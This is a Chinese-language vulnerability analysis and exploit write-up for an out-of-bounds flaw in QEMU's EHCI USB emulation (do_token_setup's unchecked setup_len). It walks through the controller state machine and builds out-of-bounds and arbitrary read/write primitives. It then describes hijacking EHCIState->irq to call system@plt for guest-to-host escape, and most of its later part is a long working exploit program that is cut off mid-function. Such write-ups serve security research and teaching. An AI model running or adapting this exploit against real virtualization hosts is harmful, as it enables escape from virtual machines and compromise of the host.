0 ;             }             break ;         case  EST_FETCHITD:             again = ehci_state_fetchitd(ehci, async);             itd_count++;             break ;         case  EST_FETCHSITD:             again = ehci_state_fetchsitd(ehci, async);             itd_count++;             break ;         case  EST_ADVANCEQUEUE:             assert(q != NULL );             again = ehci_state_advqueue(q);             break ;         case  EST_FETCHQTD:             assert(q != NULL );             again = ehci_state_fetchqtd(q);             break ;         case  EST_HORIZONTALQH:             assert(q != NULL );             again = ehci_state_horizqh(q);             break ;         case  EST_EXECUTE:             assert(q != NULL );             again = ehci_state_execute(q);             if  (async)             {                 ehci->async_stepdown = 0 ;             }             break ;         case  EST_EXECUTING:             assert(q != NULL );             if  (async)             {                 ehci->async_stepdown = 0 ;             }             again = ehci_state_executing(q);             break ;         case  EST_WRITEBACK:             assert(q != NULL );             again = ehci_state_writeback(q);             if  (!async)             {                 ehci->periodic_sched_active = PERIODIC_ACTIVE;             }             break ;         default :             fprintf (stderr , "Bad state!\n" );             again = -1 ;             g_assert_not_reached();             break ;         }         if  (again < 0  || itd_count > 16 )         {                          fprintf (stderr , "processing error - resetting ehci HC\n" );             ehci_reset(ehci);             again = 0 ;         }     } while  (again); }static  int  ehci_state_fetchentry (EHCIState *ehci, int  async)  {     int  again = 0 ;     uint32_t  entry = ehci_get_fetch_addr(ehci, async);     if  (NLPTR_TBIT(entry))     {         ehci_set_state(ehci, async, EST_ACTIVE);         goto  out;     }          if  (async && (NLPTR_TYPE_GET(entry) != NLPTR_TYPE_QH))     {         fprintf (stderr , "non queue head request in async schedule\n" );         return  -1 ;     }     switch  (NLPTR_TYPE_GET(entry))     {     case  NLPTR_TYPE_QH:         ehci_set_state(ehci, async, EST_FETCHQH);         again = 1 ;         break ;     case  NLPTR_TYPE_ITD:         ehci_set_state(ehci, async, EST_FETCHITD);         again = 1 ;         break ;     case  NLPTR_TYPE_STITD:         ehci_set_state(ehci, async, EST_FETCHSITD);         again = 1 ;         break ;     default :                  fprintf (stderr , "FETCHENTRY: entry at %X is of type %d "                          "which is not supported yet\n" ,                 entry, NLPTR_TYPE_GET(entry));         return  -1 ;     } out:     return  again; }#define  NLPTR_TYPE_GET(x) (((x) >> 1) & 3) 
 
这个函数实现了一个状态机,可以完成不同状态之间的转换。通过调试,发现函数总是会优先进入到EST_FETCHENTRY 这个分支,然后会调用ehci_state_fetchentry 这个函数。
这个函数会调用ehci_get_fetch_addr 函数获取ehci->p_fetch_addr 作为entry。这里我们的目的是进入到NLPTR_TYPE_QH 这个分支中,所以需要设置entry >> 1 & 3 == NLPTR_TYPE_QH 。也即需要设置*ehci->periodiclistbase == target_addr + 2。
之后回到ehci_advance_state 函数中,并进入到EST_FETCHQH 状态中,调用ehci_state_fetchqh 函数。
ehci_state_fetchqh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 static  EHCIQueue *ehci_state_fetchqh (EHCIState *ehci, int  async)  {     uint32_t  entry;     EHCIQueue *q;     EHCIqh qh;     entry = ehci_get_fetch_addr(ehci, async);     q = ehci_find_queue_by_qh(ehci, entry, async);     if  (q == NULL )     {         q = ehci_alloc_queue(ehci, entry, async);     }     q->seen++;     if  (q->seen > 1 )     {                  ehci_set_state(ehci, async, EST_ACTIVE);         q = NULL ;         goto  out;     }     if  (get_dwords(ehci, NLPTR_GET(q->qhaddr),                    (uint32_t  *)&qh, sizeof (EHCIqh) >> 2 ) < 0 )     {         q = NULL ;         goto  out;     }     ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);          if  (!ehci_verify_qh(q, &qh))     {         if  (ehci_reset_queue(q) > 0 )         {             ehci_trace_guest_bug(ehci, "guest updated active QH" );         }     }     q->qh = qh;     q->transact_ctr = get_field(q->qh.epcap, QH_EPCAP_MULT);     if  (q->transact_ctr == 0 )     {          q->transact_ctr = 4 ;     }     if  (q->dev == NULL )     {         q->dev = ehci_find_device(q->ehci,                                   get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));     }     if  (async && (q->qh.epchar & QH_EPCHAR_H))     {                  if  (ehci->usbsts & USBSTS_REC)         {             ehci_clear_usbsts(ehci, USBSTS_REC);         }         else          {             DPRINTF("FETCHQH:  QH 0x%08x. H-bit set, reclamation status reset"                      " - done processing\n" ,                     q->qhaddr);             ehci_set_state(ehci, async, EST_ACTIVE);             q = NULL ;             goto  out;         }     }#if  EHCI_DEBUG      if  (q->qhaddr != q->qh.next)     {         DPRINTF("FETCHQH:  QH 0x%08x (h %x halt %x active %x) next 0x%08x\n" ,                 q->qhaddr,                 q->qh.epchar & QH_EPCHAR_H,                 q->qh.token & QTD_TOKEN_HALT,                 q->qh.token & QTD_TOKEN_ACTIVE,                 q->qh.next);     }#endif       if  (q->qh.token & QTD_TOKEN_HALT)     {         ehci_set_state(ehci, async, EST_HORIZONTALQH);     }     else  if  ((q->qh.token & QTD_TOKEN_ACTIVE) &&	              (NLPTR_TBIT(q->qh.current_qtd) == 0 ) &&              (q->qh.current_qtd != 0 ))     {         q->qtdaddr = q->qh.current_qtd;         ehci_set_state(ehci, async, EST_FETCHQTD);     }     else      {                  ehci_set_state(ehci, async, EST_ADVANCEQUEUE);     } out:     return  q; }
 
这个函数首先调用ehci_get_fetch_addr 函数获取ehci->p_fetch_addr 作为entry,然后分配一个EHCIQueue 结构体,接着一个关键部分如下:
1 2 get_dwords(ehci, NLPTR_GET(q->qhaddr),                    (uint32_t  *)&qh, sizeof (EHCIqh) >> 2 )
 
通过get_dwords 函数获取q-qhaddr 地址的内容为EHCIqh结构体qh 赋值,而q->qhaddr 也即上文中的entry ,所以这个结构体qh 是我们可控的。然后设置q->qh.token 的值,使程序运行到[1] 处,设置q->qtdaddr = q->qh.current_qtd 以及状态机的状态。最终返回到ehci_advance_state,并进入到EST_FETCHQTD 这个状态中。
ehci_state_fetchqtd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 static  int  ehci_state_fetchqtd (EHCIQueue *q)  {     EHCIqtd qtd;     EHCIPacket *p;     int  again = 1 ;     uint32_t  addr;     addr = NLPTR_GET(q->qtdaddr);     if  (get_dwords(q->ehci, addr + 8 , &qtd.token, 1 ) < 0 )     {         return  0 ;     }     barrier();     if  (get_dwords(q->ehci, addr + 0 , &qtd.next, 1 ) < 0  ||         get_dwords(q->ehci, addr + 4 , &qtd.altnext, 1 ) < 0  ||         get_dwords(q->ehci, addr + 12 , qtd.bufptr,                    ARRAY_SIZE(qtd.bufptr)) < 0 )     {         return  0 ;     }     ehci_trace_qtd(q, NLPTR_GET(q->qtdaddr), &qtd);     p = QTAILQ_FIRST(&q->packets);     if  (p != NULL )     {         if  (!ehci_verify_qtd(p, &qtd))         {             ehci_cancel_queue(q);             if  (qtd.token & QTD_TOKEN_ACTIVE)             {                 ehci_trace_guest_bug(q->ehci, "guest updated active qTD" );             }             p = NULL ;         }         else          {             p->qtd = qtd;             ehci_qh_do_overlay(q);         }     }     if  (!(qtd.token & QTD_TOKEN_ACTIVE))     {         ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);     }     else  if  (p != NULL )     {         switch  (p->async)         {         case  EHCI_ASYNC_NONE:         case  EHCI_ASYNC_INITIALIZED:                          ehci_set_state(q->ehci, q->async, EST_EXECUTE);             break ;         case  EHCI_ASYNC_INFLIGHT:                          again = ehci_fill_queue(QTAILQ_LAST(&q->packets));                          ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);             break ;         case  EHCI_ASYNC_FINISHED:                          ehci_set_state(q->ehci, q->async, EST_EXECUTING);             break ;         }     }     else 	     {         p = ehci_alloc_packet(q);         p->qtdaddr = q->qtdaddr;         p->qtd = qtd;         ehci_set_state(q->ehci, q->async, EST_EXECUTE);     }     return  again; }
 
由上述分析可知,q->qtdaddr 字段是可控的,只需要满足qtd.token & QTD_TOKEN_ACTIVE != 0 即可执行到目标地址。设置状态机状态为EST_EXECUTE ,返回到ehci_advance_state 函数中,最终执行到ehci_state_execute 函数中。
ehci_state_execute
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 static  int  ehci_state_execute (EHCIQueue *q)  {     EHCIPacket *p = QTAILQ_FIRST(&q->packets);     int  again = 0 ;     assert(p != NULL );     assert(p->qtdaddr == q->qtdaddr);     if  (ehci_qh_do_overlay(q) != 0 )     {         return  -1 ;     }                    if  (!q->async && q->transact_ctr == 0 )     {         ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);         again = 1 ;         goto  out;     }     if  (q->async)     {         ehci_set_usbsts(q->ehci, USBSTS_REC);     }     again = ehci_execute(p, "process" );	     if  (again == -1 )     {         goto  out;     }     if  (p->packet.status == USB_RET_ASYNC)     {         ehci_flush_qh(q);         trace_usb_ehci_packet_action(p->queue , p, "async" );         p->async = EHCI_ASYNC_INFLIGHT;         ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);         if  (q->async)         {             again = ehci_fill_queue(p);         }         else          {             again = 1 ;         }         goto  out;     }     ehci_set_state(q->ehci, q->async, EST_EXECUTING);     again = 1 ; out:     return  again; }
 
这里没做什么判断就直接调用ehci_execute 函数。
ehci_execute 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 static  int  ehci_execute (EHCIPacket *p, const  char  *action)  {     USBEndpoint *ep;     int  endp;     bool  spd;     assert(p->async == EHCI_ASYNC_NONE ||            p->async == EHCI_ASYNC_INITIALIZED);     if  (!(p->qtd.token & QTD_TOKEN_ACTIVE))     {         fprintf (stderr , "Attempting to execute inactive qtd\n" );         return  -1 ;     }     if  (get_field(p->qtd.token, QTD_TOKEN_TBYTES) > BUFF_SIZE)     {         ehci_trace_guest_bug(p->queue ->ehci,                              "guest requested more bytes than allowed" );         return  -1 ;     }     if  (!ehci_verify_pid(p->queue , &p->qtd))     {         ehci_queue_stopped(p->queue );      }     p->pid = ehci_get_pid(&p->qtd);     p->queue ->last_pid = p->pid;     endp = get_field(p->queue ->qh.epchar, QH_EPCHAR_EP);     ep = usb_ep_get(p->queue ->dev, p->pid, endp);     if  (p->async == EHCI_ASYNC_NONE)	     {         if  (ehci_init_transfer(p) != 0 )         {             return  -1 ;         }         spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0 );         usb_packet_setup(&p->packet, p->pid, ep, 0 , p->qtdaddr, spd,                          (p->qtd.token & QTD_TOKEN_IOC) != 0 );         usb_packet_map(&p->packet, &p->sgl);         p->async = EHCI_ASYNC_INITIALIZED;     }     trace_usb_ehci_packet_action(p->queue , p, action);     usb_handle_packet(p->queue ->dev, &p->packet);	     DPRINTF("submit: qh 0x%x next 0x%x qtd 0x%x pid 0x%x len %zd endp 0x%x "              "status %d actual_length %d\n" ,             p->queue ->qhaddr, p->qtd.next,             p->qtdaddr, p->pid, p->packet.iov.size, endp, p->packet.status,             p->packet.actual_length);     if  (p->packet.actual_length > BUFF_SIZE)     {         fprintf (stderr , "ret from usb_handle_packet > BUFF_SIZE\n" );         return  -1 ;     }     return  1 ; }
 
这里对p->qtd.token 字段进行一些判断,由于这个字段是可控的,所以我们很容易可以过掉这个判断,进而运行到片段[1]中,片段[1] 是初始化与设备交互的用户内存空间。然后执行到usb_handle_packet函数中。
usb_handle_packet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 void  usb_handle_packet (USBDevice *dev, USBPacket *p)  {     if  (dev == NULL ) {         p->status = USB_RET_NODEV;         return ;     }     assert(dev == p->ep->dev);     assert(dev->state == USB_STATE_DEFAULT);     usb_packet_check_state(p, USB_PACKET_SETUP);     assert(p->ep != NULL );          if  (p->ep->halted) {         assert(QTAILQ_EMPTY(&p->ep->queue ));         p->ep->halted = false ;     }     if  (QTAILQ_EMPTY(&p->ep->queue ) || p->ep->pipeline || p->stream) {         usb_process_one(p);         if  (p->status == USB_RET_ASYNC) {                          assert(p->ep->type != USB_ENDPOINT_XFER_ISOC);                          assert(p->ep->type != USB_ENDPOINT_XFER_INT ||                    (dev->flags & (1  << USB_DEV_FLAG_IS_HOST)));             usb_packet_set_state(p, USB_PACKET_ASYNC);             QTAILQ_INSERT_TAIL(&p->ep->queue , p, queue );         } else  if  (p->status == USB_RET_ADD_TO_QUEUE) {             usb_queue_one(p);         } else  {                          assert(p->stream || !p->ep->pipeline ||                    QTAILQ_EMPTY(&p->ep->queue ));             if  (p->status != USB_RET_NAK) {                 usb_packet_set_state(p, USB_PACKET_COMPLETE);             }         }     } else  {         usb_queue_one(p);     } }
 
这里直接调用usb_process_one 函数。
usb_process_one 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static  void  usb_process_one (USBPacket *p)  {     USBDevice *dev = p->ep->dev;          p->status = USB_RET_SUCCESS;     if  (p->ep->nr == 0 ) {                  if  (p->parameter) {             do_parameter(dev, p);             return ;         }         switch  (p->pid) {         case  USB_TOKEN_SETUP:             do_token_setup(dev, p);             break ;         case  USB_TOKEN_IN:             do_token_in(dev, p);             break ;         case  USB_TOKEN_OUT:             do_token_out(dev, p);             break ;         default :             p->status = USB_RET_STALL;         }     } else  {                  usb_device_handle_data(dev, p);     } }
 
函数通过p->pid 判断进入哪个分支,而pid 是我们可控的,从而可以确定进入到哪个分支。这里进入到USB_TOKEN_SETUP 分支,调用do_token_setup 函数。
do_token_setup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static  void  do_token_setup (USBDevice *s, USBPacket *p)  {     int  request, value, index;     if  (p->iov.size != 8 ) {         p->status = USB_RET_STALL;         return ;     }     usb_packet_copy(p, s->setup_buf, p->iov.size);	     s->setup_index = 0 ;     p->actual_length = 0 ;     s->setup_len   = (s->setup_buf[7 ] << 8 ) | s->setup_buf[6 ];     if  (s->setup_len > sizeof (s->data_buf)) {         fprintf (stderr ,                 "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n" ,                 s->setup_len, sizeof (s->data_buf));         p->status = USB_RET_STALL;         return ;     }      }
 
这里是漏洞发生的位置,[1] 处通过用户可控的p->iov.base 与p->iov.size 对s->setup_buf 进行赋值,从而能够控制s->setup_len 的长度,造成后续的越界读写。
漏洞利用 越界读 
调用do_token_setup 设置越界长度 
调用do_token_in 将s->data_buf 数据复制到用户空间,实现越界读 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 void  do_copy_read () {     reset_enable_port();     set_qh();     qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00  << QTD_TOKEN_TBYTES_SH;     qtd->bufptr[0 ] = virt2phys(data_buf);     qtd->bufptr[1 ] = virt2phys(data_buf_oob);     set_EHCIState();     printf ("do_copy_read Success!\n" ); }
 
越界写 
调用do_token_setup 设置越界长度 
调用do_token_out 将用户空间数据写入s->data_buf 中,实现越界写 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void  do_copy_write (int  offset, unsigned  int  setup_len, unsigned  int  setup_index) {     reset_enable_port();     set_qh();     *(unsigned  long  *)(data_buf_oob + offset) = 0x0000000200000002 ;      *(unsigned  int  *)(data_buf_oob + 0x8  +offset) = setup_len;      *(unsigned  int  *)(data_buf_oob + 0xc + offset) = setup_index;     qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00  << QTD_TOKEN_TBYTES_SH;      qtd->bufptr[0 ] = virt2phys(data_buf);     qtd->bufptr[1 ] = virt2phys(data_buf_oob);     set_EHCIState();     printf ("do_copy_write Success!\n" ); }
 
任意读 这里的任意读是在越界读写的条件下,实现任意地址读。
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned  long  arb_read (uint64_t  target_addr)  {     setup_state_data();     set_length(0x1010 , USB_DIR_OUT);     do_copy_write(0 , 0x1010 , 0xfffffff8 -0x1010 );     *(unsigned  long  *)(data_buf) = 0x2000000000000080 ;      unsigned  int  target_offset = target_addr - data_buf_addr;     do_copy_write(0x8 , 0xffff , target_offset - 0x1018 );     do_copy_read();      return  *(unsigned  long  *)(data_buf);     printf ("arb_read Success!\n" ); }
 
任意写 同上述任意读,实现任意写的思路如下:
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void  arb_write (uint64_t  target_addr, uint64_t  payload)  {     setup_state_data();     set_length(0x1010 , USB_DIR_OUT);     unsigned  long  offset = target_addr - data_buf_addr;     do_copy_write(0 , offset+0x8 , offset-0x1010 );     *(unsigned  long  *)(data_buf) = payload;     do_copy_write(0 , 0xffff , 0 );     printf ("arb_write Success!\n" ); }
 
利用思路 
通过越界读,获取USBDevice 对象的地址,通过计算偏移,可以得到data_buf 与 USBPort 字段的地址。搜索越界读的内容,可以泄露代码段地址,可以得到程序基地址与system@plt的地址。 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 struct  USBDevice {     DeviceState qdev;     USBPort *port;     char  *port_path;     char  *serial;     void  *opaque;     uint32_t  flags;          int  speed;          int  speedmask;     uint8_t  addr;     char  product_desc[32 ];     int  auto_attach;     bool  attached;     int32_t  state;     uint8_t  setup_buf[8 ];     uint8_t  data_buf[4096 ]; <-----------     int32_t  remote_wakeup;     int32_t  setup_state;     int32_t  setup_len;     int32_t  setup_index;     USBEndpoint ep_ctl;     USBEndpoint ep_in[USB_MAX_ENDPOINTS];     USBEndpoint ep_out[USB_MAX_ENDPOINTS]; }struct  USBEndpoint  {     uint8_t  nr;     uint8_t  pid;     uint8_t  type;     uint8_t  ifnum;     int  max_packet_size;     int  max_streams;     bool  pipeline;     bool  halted;     USBDevice *dev;     QTAILQ_HEAD(, USBPacket) queue ; };
 
USBDevice 会在 realize 时,调用usb_claim_port,将USBDevice中的port字段设置为指向 EHCIState中的ports的地址,读取USBDevice->port的内容就能获得EHCIState->ports的地址,减去偏移得到 EHCIState的地址。进而得到EHCIState->irq地址。 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 static  void  usb_device_class_init (ObjectClass *klass, void  *data)  {     DeviceClass *k = DEVICE_CLASS(klass);     k->bus_type = TYPE_USB_BUS;     k->realize  = usb_qdev_realize;     k->unrealize = usb_qdev_unrealize;     k->props    = usb_props; }static  void  usb_qdev_realize (DeviceState *qdev, Error **errp)  {     USBDevice *dev = USB_DEVICE(qdev);     Error *local_err = NULL ;     pstrcpy(dev->product_desc, sizeof (dev->product_desc),             usb_device_get_product_desc(dev));     dev->auto_attach = 1 ;     QLIST_INIT(&dev->strings);     usb_ep_init(dev);     usb_claim_port(dev, &local_err);     if  (local_err) {         error_propagate(errp, local_err);         return ;     }     usb_device_realize(dev, &local_err);     if  (local_err) {         usb_release_port(dev);         error_propagate(errp, local_err);         return ;     }     if  (dev->auto_attach) {         usb_device_attach(dev, &local_err);         if  (local_err) {             usb_qdev_unrealize(qdev, NULL );             error_propagate(errp, local_err);             return ;         }     } }void  usb_claim_port (USBDevice *dev, Error **errp)  {     USBBus *bus = usb_bus_from_device(dev);     USBPort *port;     assert(dev->port == NULL );     if  (dev->port_path) {         QTAILQ_FOREACH(port, &bus->free , next) {             if  (strcmp (port->path, dev->port_path) == 0 ) {                 break ;             }         }         if  (port == NULL ) {             error_setg(errp, "usb port %s (bus %s) not found (in use?)" ,                        dev->port_path, bus->qbus.name);             return ;         }     } else  {         if  (bus->nfree == 1  && strcmp (object_get_typename(OBJECT(dev)), "usb-hub" ) != 0 ) {                          usb_try_create_simple(bus, "usb-hub" , NULL );         }         if  (bus->nfree == 0 ) {             error_setg(errp, "tried to attach usb device %s to a bus "                         "with no free ports" , dev->product_desc);             return ;         }         port = QTAILQ_FIRST(&bus->free );     }     trace_usb_port_claim(bus->busnr, port->path);     QTAILQ_REMOVE(&bus->free , port, next);     bus->nfree--;     dev->port = port;     port->dev = dev;     QTAILQ_INSERT_TAIL(&bus->used, port, next);     bus->nused++; }void  usb_ehci_realize (EHCIState *s, DeviceState *dev, Error **errp)  {     int  i;     if  (s->portnr > NB_PORTS)     {         error_setg(errp, "Too many ports! Max. port number is %d." ,                    NB_PORTS);         return ;     }     if  (s->maxframes < 8  || s->maxframes > 512 )     {         error_setg(errp, "maxframes %d out if range (8 .. 512)" ,                    s->maxframes);         return ;     }     usb_bus_new(&s->bus, sizeof (s->bus), s->companion_enable ? &ehci_bus_ops_companion : &ehci_bus_ops_standalone, dev);     for  (i = 0 ; i < s->portnr; i++)     {         usb_register_port(&s->bus, &s->ports[i], s, i, &ehci_port_ops,                           USB_SPEED_MASK_HIGH);         s->ports[i].dev = 0 ;     }     s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, ehci_work_timer, s);     s->async_bh = qemu_bh_new(ehci_work_bh, s);     s->device = dev;     s->vmstate = qemu_add_vm_change_state_handler(usb_ehci_vm_state_change, s); }
 
利用任意写将EHCIState->irq内容填充为伪造的irq地址,将handler 填充成system@plt地址,opaque填充成参数的地址。其调用链如下: 
 
1 ehci_advance_periodic_static -> ehci_advance_state -> ehci_reset -> usb_detach -> ehci_detach -> ehci_raise_irq -> ehci_update_irq -> qemu_set_irq
 
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 #include  <assert.h>  #include  <fcntl.h>  #include  <inttypes.h>  #include  <stdio.h>  #include  <stdlib.h>  #include  <string.h>  #include  <sys/mman.h>  #include  <sys/types.h>  #include  <unistd.h>  #include  <sys/io.h>  #include  <stdio.h>    #include  <stdlib.h>    #include  <string.h>    #include  <errno.h>    #include  <sys/types.h>    #include  <sys/socket.h>    #include  <stdbool.h>  #include  <netinet/in.h>  struct  EHCIqh  * qh ;struct  EHCIqtd  * qtd ;struct  ohci_td  * td ;char  *dmabuf;char  *setup_buf;unsigned  char  *mmio_mem;unsigned  char  *data_buf;unsigned  char  *data_buf_oob;uint32_t  *entry;uint64_t  dev_addr;uint64_t  data_buf_addr;uint64_t  USBPort_addr; #define  PORTSC_PRESET       (1 << 8)      #define  PORTSC_PED          (1 << 2)      #define  USBCMD_RUNSTOP      (1 << 0) #define  USBCMD_PSE          (1 << 4) #define  USB_DIR_OUT         0 #define  USB_DIR_IN          0x80 #define  QTD_TOKEN_ACTIVE    (1 << 7) #define  USB_TOKEN_SETUP     2 #define  USB_TOKEN_IN        1  #define  USB_TOKEN_OUT       0  #define  QTD_TOKEN_TBYTES_SH 16 #define  QTD_TOKEN_PID_SH    8 typedef  struct  USBDevice  USBDevice ;typedef  struct  USBEndpoint  USBEndpoint ;struct  USBEndpoint  {     uint8_t  nr;     uint8_t  pid;     uint8_t  type;     uint8_t  ifnum;     int  max_packet_size;     int  max_streams;     bool  pipeline;     bool  halted;     USBDevice *dev;     USBEndpoint *fd;     USBEndpoint *bk; };struct  USBDevice  {     int32_t  remote_wakeup;     int32_t  setup_state;     int32_t  setup_len;     int32_t  setup_index;     USBEndpoint ep_ctl;     USBEndpoint ep_in[15 ];     USBEndpoint ep_out[15 ]; };typedef  struct  EHCIqh  {     uint32_t  next;                              uint32_t  epchar;          uint32_t  epcap;     uint32_t  current_qtd;                  uint32_t  next_qtd;                     uint32_t  altnext_qtd;     uint32_t  token;                        uint32_t  bufptr[5 ];                } EHCIqh;typedef  struct  EHCIqtd  {     uint32_t  next;                         uint32_t  altnext;                      uint32_t  token;     uint32_t  bufptr[5 ];                } EHCIqtd;uint64_t  virt2phys (void * p)  {     uint64_t  virt = (uint64_t )p;          int  fd = open("/proc/self/pagemap" , O_RDONLY);     if  (fd == -1 )         die("open" );     uint64_t  offset = (virt / 0x1000 ) * 8 ;     lseek(fd, offset, SEEK_SET);     uint64_t  phys;     if  (read(fd, &phys, 8  ) != 8 )         die("read" );          phys = (phys & ((1ULL  << 54 ) - 1 )) * 0x1000 +(virt&0xfff );     close(fd);     return  phys; }void  die (const  char * msg)  {     perror(msg);     exit (-1 ); }void  mmio_write (uint32_t  addr, uint32_t  value)  {     *((uint32_t *)(mmio_mem + addr)) = value; }uint64_t  mmio_read (uint32_t  addr)  {     return  *((uint64_t *)(mmio_mem + addr)); }void  init () {     int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0" , O_RDWR | O_SYNC);     if  (mmio_fd == -1 )         die("mmio_fd open failed" );     mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 );     if  (mmio_mem == MAP_FAILED)         die("mmap mmio_mem failed" );     printf ("mmio_mem: 0x%lx\n" , (uint64_t )mmio_mem);          int  i;     for (i = 0 ; i < 0x1000 ; ++i)     {         dmabuf = mmap(NULL , 0x3000 , PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1 , 0 );         if  (dmabuf == MAP_FAILED)             die("mmap" );         *(char  *)dmabuf = 'a' ;         *(char  *)(dmabuf + 0x1000 ) = 'b' ;         *(char  *)(dmabuf + 0x2000 ) = 'c' ;              entry = dmabuf + 4 ;         qh = dmabuf + 0x100 ;         qtd = dmabuf + 0x200 ;         setup_buf = dmabuf + 0x300 ;         data_buf = dmabuf + 0x1000 ;         data_buf_oob = dmabuf + 0x2000 ;                  if (virt2phys(data_buf) + 0x1000  == virt2phys(data_buf_oob))         {             printf ("dmabuf: 0x%lx\n" , (uint64_t )dmabuf);             printf ("phy_dmabuf: 0x%lx\n" , virt2phys(dmabuf));             printf ("data_buf: 0x%lx\n" , (uint64_t )data_buf);             printf ("phy_data_buf: 0x%lx\n" , virt2phys(data_buf));             printf ("data_buf_oob: 0x%lx\n" , (uint64_t )data_buf_oob);             printf ("phy_data_buf_oob: 0x%lx\n" , virt2phys(data_buf_oob));             break ;         }         else          {             continue ;         }     }     if (i == 0x1000 )     {         die("Unable to find a contiguous physical address!" );     }          printf ("init Success!\n" ); }void  reset_enable_port () {     mmio_write(0x64 , PORTSC_PRESET);     mmio_write(0x64 , PORTSC_PED); }void  set_EHCIState () {     mmio_write(0x2C , 0 );         mmio_write(0x34 , virt2phys(dmabuf));         mmio_write(0x20 , USBCMD_RUNSTOP | USBCMD_PSE);           sleep(1 ); }void  set_qh () {     qh->epchar = 0x00 ;     qh->token = QTD_TOKEN_ACTIVE;     qh->current_qtd = virt2phys(qtd); }void  init_state () {     reset_enable_port();     set_qh();     setup_buf[6 ] = 0xff ;     setup_buf[7 ] = 0x0 ;     qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8  << QTD_TOKEN_TBYTES_SH;     qtd->bufptr[0 ] = virt2phys(setup_buf);     *entry = virt2phys(qh)+0x2 ;     set_EHCIState();     printf ("init_state Success!\n" ); }void  set_length (uint16_t  len,uint8_t  option) {     reset_enable_port();     set_qh();     setup_buf[0 ] = option;     setup_buf[6 